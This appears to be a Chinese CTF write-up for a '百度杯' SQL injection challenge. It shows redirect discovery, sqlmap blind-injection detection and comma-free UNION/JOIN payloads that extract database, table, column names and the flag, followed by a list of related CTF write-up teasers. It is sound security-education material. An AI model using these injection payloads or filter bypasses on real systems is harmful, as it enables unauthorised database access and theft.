今天在i春秋做题的时候遇到了一道非常好的题目,于是在参考了wp的基础上自己复现了一遍,算作一种技巧的学习与收藏吧。

题目i春秋连接:https://www.ichunqiu.com/battalion?t=1&r=54791

访问地址,发现什么都没有,



查看页面源代码,发现提示



访问地址

http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com/login.php?id=1

得到下面页面



我去,不会这就注入进去了吧?!话不多说,上sqlmap,



尝试了好多次,发现这就是个假的注入点,果然没那么简单啊,,,,

设置代理,利用工具Burp Suite看看究竟发生了什么,,,

可以看到在访问地址

http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com的时候,302,页面重定向了。

注意看,下面两个图片





在302重定向回复报文中,url已经改变,原来箭头那里是3l,被重定向到31,6不6,哈哈。并且看到了新的页面地址l0gin.php?id=1

访问地址

http://69ef94c7ef5e47b580ed5c7bae472bc4c3b492503f964143.game.ichunqiu.com/l0gin.php?id=1

得到下图



修改参数,再次执行,



OK,看来这个确实是一个注入点,再用sqlmap测试,从结果可以看到这既是一个基于布尔的盲注,也是一个基于时间的盲注



接着爆数据库,发现无法得到,没办法,只能手工注入了,

这里我选择基于布尔的盲注,因为这样的回显比基于时间的看起来明显。

输入参数

1' and ascii(substr((select database()),1,1))>64 %23

查询数据库名,发现,注入失败,并且,后面的sql语句被过滤掉了,id字段输出的应该就是过滤后的sql语句了



从网上看到一篇讲不需要逗号的mysql注入文章,http://wonderkun.cc/index.html/?p=442

于是重新构造payload,如id=-1' union select * from (select
group_concat(distinct(table_schema)) from information_schema.tables ) a
join (select version() ) b %23


可以看到数据库名称为sqli



紧接着,构造payload,获取表名

-1' union select * from (select group_concat(distinct(table_name))
from information_schema.tables where table_schema='sqli') a join
(select version() ) b %23




构造payload,获取字段名

-1' union select * from (select
group_concat(distinct(column_name)) from information_schema.columns
where table_schema='sqli' and table_name='users') a join (select
version() ) b %23




构造payload,获取字段值,得到flag{34303304-de0b-4bad-a0df-84eb8a420df8}

-1' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select version() ) b %23

 

“百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi ---不需要逗号的注入技巧的更多相关文章

  1. “百度杯”CTF比赛 九月场_YeserCMS

    题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直 ...

  2. “百度杯”CTF比赛 九月场_SQLi

    题目在i春秋ctf大本营 看网页源码提示: 这边是个大坑,访问login.php发现根本不存在注入点,看了wp才知道注入点在l0gin.php 尝试order by语句,发现3的时候页面发生变化,说明 ...

  3. “百度杯”CTF比赛 九月场_SQL

    题目在i春秋ctf大本营 题目一开始就提醒我们是注入,查看源码还给出了查询语句 输入测试语句发现服务器端做了过滤,一些语句被过滤了 试了一下/**/.+都不行,后来才发现可以用<>绕过 接 ...

  4. “百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)

    题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/sea ...

  5. “百度杯”CTF比赛 九月场_123(文件备份,爆破,上传)

    题目在i春秋ctf训练营 翻看源码,发现提示: 打开user.php,页面一片空白,参考大佬的博客才知道可能会存在user.php.bak的备份文件,下载该文件可以得到用户名列表 拿去burp爆破: ...

  6. “百度杯”CTF比赛 九月场_再见CMS(齐博cms)

    题目在i春秋ctf大本营 又是一道cms的题,打开御剑一通乱扫,发现后台登录地址,访问一看妥妥的齐博cms 记得以前很久以前利用一个注入通用漏洞,这里我贴上链接,里面有原理与利用方法详细说明: 齐博c ...

  7. “百度杯”CTF比赛 九月场_Code(PhpStorm)

    题目在i春秋ctf大本营 打开链接是一张图片,审查元素发现关键词base64,图片的内容都以base64加密后的形式呈现,查看url形式,应该是一个文件读取的漏洞 这里我们可以采用url/index. ...

  8. “百度杯”CTF比赛 九月场 code

    先去i春秋打开复现环境 打开链接,emmmmmmm(是我妹妹,逃~) 说正经的,jpg=hei.jpg 这一看就是文件包含. 我们先看看穹妹的源码吧 返回的是图片用base64译码的结果. <t ...

  9. “百度杯”CTF比赛 九月场

    Test: 题目提示查资料 打开地址,是一个海洋cms 海洋cms有个前台getshell的漏洞 在地址后加上/search.php?searchtype=5&tid=&area=ev ...

随机推荐

  1. Linux中的一些基本命令

    文章目录 ls cd Linux的目录 文件的权限 1.用户,组,权限 2.文件的权限 文件的基本操作 增:创建文件 删:删除文件 改:修改文件 查:查看 vi/vim 是一个编辑工具,主要用来编辑文 ...

  2. 【刷题-LeetCode】230. Kth Smallest Element in a BST

    Kth Smallest Element in a BST Given a binary search tree, write a function kthSmallest to find the k ...

  3. gin源码解读2-揭开gin的神秘面纱

    数据如何在gin中流转 func main() { gin.SetMode(gin.DebugMode) // 设置为开发模式 router := gin.Default() _ = router.S ...

  4. IoC容器(底层原理)

    IoC(概念和原理) 1,什么是IoC (1)控制反转,把对象创建和对象之间的调用过程,交给Spring进行管理 (2)使用IoC目的:为了降低耦合度 (3)做入门案例就是IoC实现 2,IoC底层原 ...

  5. 安卓开发常见Bug-setContentView(R.layout.....)报错

    这是安卓开发的常见错误,当你在引用或者复制别人的Layout xml文件时需要在AndroidManifest.xml中添加东西 需要将图中的activity android:name添加进去,否则是 ...

  6. Java项目开发中实现分页的三种方式一篇包会

    前言   Java项目开发中经常要用到分页功能,现在普遍使用SpringBoot进行快速开发,而数据层主要整合SpringDataJPA和MyBatis两种框架,这两种框架都提供了相应的分页工具,使用 ...

  7. ApacheCN 深度学习译文集 20210125 更新

    新增了七个教程: PyTorch 中文官方教程 1.7 学习 PyTorch PyTorch 深度学习:60 分钟的突击 张量 torch.autograd的简要介绍 神经网络 训练分类器 通过示例学 ...

  8. go 把固定长度的数字写入字节切片 (byte slice),然后从字节切片中读取到并赋值给一个变量:

    // write v := uint32(500) buf := make([]byte, 4) binary.BigEndian.PutUint32(buf, v) // read x := bin ...

  9. new操作符具体干了什么呢?

    考察对new关键的深刻认识,是否对前端知识有专研,如果没有专研的人,肯定说创建了一个对象,恭喜你面试官知道你是小菜鸟来的,这次面试基本上没有太大的希望了.一定要对new过程的4个步骤非常清楚,这样才能 ...

  10. 无意进去UIView随笔闹腾着玩 -by 胡 xu

    1 @interface UIView : UIResponder<NSCoding, UIAppearance, UIAppearanceContainer, UIDynamicItem> ...